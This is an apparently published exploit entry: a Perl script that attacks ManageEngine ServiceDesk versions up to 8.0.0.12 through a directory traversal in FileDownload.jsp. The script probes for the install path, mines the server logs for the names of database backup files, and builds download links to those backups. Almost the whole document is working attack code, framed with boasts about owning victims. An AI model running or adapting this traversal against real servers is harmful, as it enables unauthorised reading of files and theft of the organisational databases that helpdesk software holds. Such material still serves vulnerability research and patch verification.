ManageEngine ServiceDesk 8.0.0.12 - Database Disclosure

# Exploit Title: ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure
# Google Dork: none
# Date: 07.07.2011
# Author: @ygoltsev
# Software Link: http://www.manageengine.com/
# Version: <=8.0.0.12
# Tested on: Windows
# CVE : None



#!/usr/bin/perl
use LWP::UserAgent;
use File::stat;

$ptxt="
#################################################
# _____             _         ____          _
#|   __|___ ___ _ _|_|___ ___|    \ ___ ___| |_
#|__   | -_|  _| | | |  _| -_|  |  | -_|_ -| '_|
#|_____|___|_|  \_/|_|___|___|____/|___|___|_,_|
#
#################################################
 [0-day] [Database disclosure]
[desc: Exploit for ServiceDesk v *.* OS: Windows]
";

print $ptxt;



$ua=LWP::UserAgent->new();



$url="http://127.0.0.1";

$path="/workorder/FileDownload.jsp";





$installPath=&getInstallPathWin($url,$path);



if ($installPath ne "") {

                @backups=&getServerOutLogs($url,$path,$installPath);

} else {

                print "Install path not found :(\n";

                exit();

}



if (scalar(@backups)>0) {

                print "hehe.. We got paths to backup files..\n If they are
on the same drive and exists - we will own their world!!\n";

                foreach $backLine (@backups) {

                               @backInfo=split(/ --- /,$backLine);

                               #print "Trying to download $backInfo[1] from
$backInfo[0]...\n";

                               &downloadBackups($url,$path,$backLine);

                }

}

unlink("bad");



print "Dude, check out \'db_backups.html\'\n";





sub downloadBackups {

                my ($url,$path,$backLine) = @_;

                @backInfo=split(/ --- /,$backLine);


$backupUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\
..\\..\\..\\..\\$backInfo[0]$backInfo[1]";

                #$br=$ua->get($backupUrl);

                #if ($br->is_success) {

                #             open(A,">$backInfo[1]");

                #             print A $br->content;

                #             close(A);

                #}

                open(A,">>db_backups.html");

                print A "<a href='$backupUrl'>$backInfo[1]</a><br>\n";

                close(A);

}







sub getServerOutLogs {

                my ($url,$path,$installPath) = @_;




$badUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout11111111111${i}.tx
t";

                $br=$ua->get($badUrl);

                if ($br->is_success) {

                               open(A,">bad");

                               print A $br->content;

                               close(A);

                }



                for ($i=0;$i<=10;$i++) {


$logUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout${i}.txt";

                               $br=$ua->get($logUrl);

                               if ($br->is_success) {

                                               open(A,">${i}.txt");

                                               print A $br->content;

                                               close(A);

                                               if
(stat("bad")->size!=stat("${i}.txt")->size) {

                                               } else {


unlink("${i}.txt");

                                               }

                               }

                }



                for ($i=0;$i<=10;$i++) {

                               if (-e "${i}.txt") {

                                               open(A,"${i}.txt");

                                               @log=<A>;

                                               close(A);

                                               foreach $line (@log) {

                                                               if ($line=~/:
Build number(.*): ([0-9]+)\|/) {


$tBuild=$2;


if ($sdBuild eq "") {


$sdBuild=$tBuild;


}

                                                               }

                                                               if
($line=~/\[([0-9]+):([0-9]+):([0-9]+):([0-9]+)\]\|\[([0-9]+)-([0-9]+)-([0-9]
+)\]\|\[SYSOUT\](.*)BACKUPDIR=(.*), ATTACHMENT=/) {


push(@backups,"$9 ---
backup_servicedesk_XBUILDX_database_${5}_${6}_${7}_${1}_${2}.data");




                                                               }

                                               }

                                               unlink("${i}.txt");

                               }

                }



                if (scalar(@backups)>0) {

                               print "Man, you are realy lucky! We found
some info about ServiceDesk backups..\nBUT, I need your help now,
hehe\nLet's construct directories!\np.s. type without drive letter, like
\\backup\\\n";

                } else {

                               print "Bad luck.. Check your karma,
seriously..Where is my fucking latte!?!?\np.s. No info about backups was
found :(";

                               exit();

                }



                foreach $mb (@backups) {

                               $mb=~s/XBUILDX/$sdBuild/gi;

                               @dir=split(/ --- /,$mb);

                               print "Trash Dir: $dir[0]\n";

                               print "Right Dir: ";

                               chomp($rDir=<STDIN>);

                               if ($rDir ne "") {

                                               $fullDB=$dir[1];


$fullDB=~s/database/fullbackup/gi;

                                               push(@backupFiles,"$rDir ---
$dir[1]");

                                               push(@backupFiles,"$rDir ---
$fullDB");

                               }

                }

                return @backupFiles;

}









sub getInstallPathWin {

                my ($url,$path) = @_;


$url1="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\\.
.\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\.
.\\..\\..\\";

                @paths=("ServiceDesk\\","ManageEngine\\ServiceDesk\\");


@checkFiles=("dashgjifyq8412348fhsjfghjqw.txt","COPYRIGHT","logs\\configport
.txt","bin\\run.bat","server\\default\\log\\boot.log");

                $i=0;

                foreach $p (@paths) {

                               $k=0;

                               foreach $f (@checkFiles) {

                                               $checkUrl="${url1}${p}${f}";

                                               $br=$ua->get($checkUrl);

                                               if ($br->is_success) {


open(A,">${i}${k}");

                                                               print A
$br->content;

                                                               close(A);

                                               }

                                               $k++;

                               }

                               $i++;

                }

                for ($i=0;$i<scalar(@paths);$i++) {

                               $ok=0;

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               if (-e "${i}${k}") {

                                                               if ($k==0) {


$incorrectSize=stat("${i}${k}")->size;

                                                               } else {


if (stat("${i}${k}")->size!=$incorrectSize) {


$ok++;


}

                                                               }

                                               }

                               }

                               if ($ok>0) {

                                               if ($ok==4) {

                                                               print "You
are lucky! \nServiceDesk installed to: $paths[$i]\n";


$ret=$paths[$i];

                                               } elsif ($ok>2) {

                                                               print "I
think ServiceDesk installed to: $paths[$i]\n";


$ret=$paths[$i];

                                               } elsif ($ok>1) {

                                                               print "You
are lucky if ServiceDesk installed to: $paths[$i]\n";


$ret=$paths[$i];

                                               }

                               }

                }





                for ($i=0;$i<scalar(@paths);$i++) {

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               unlink("${i}${k}");

                               }

                }



                if ($ret eq "") {

                               print "Bad luck man :\/\n";

                               $ret=0;

                }

                return $ret;

}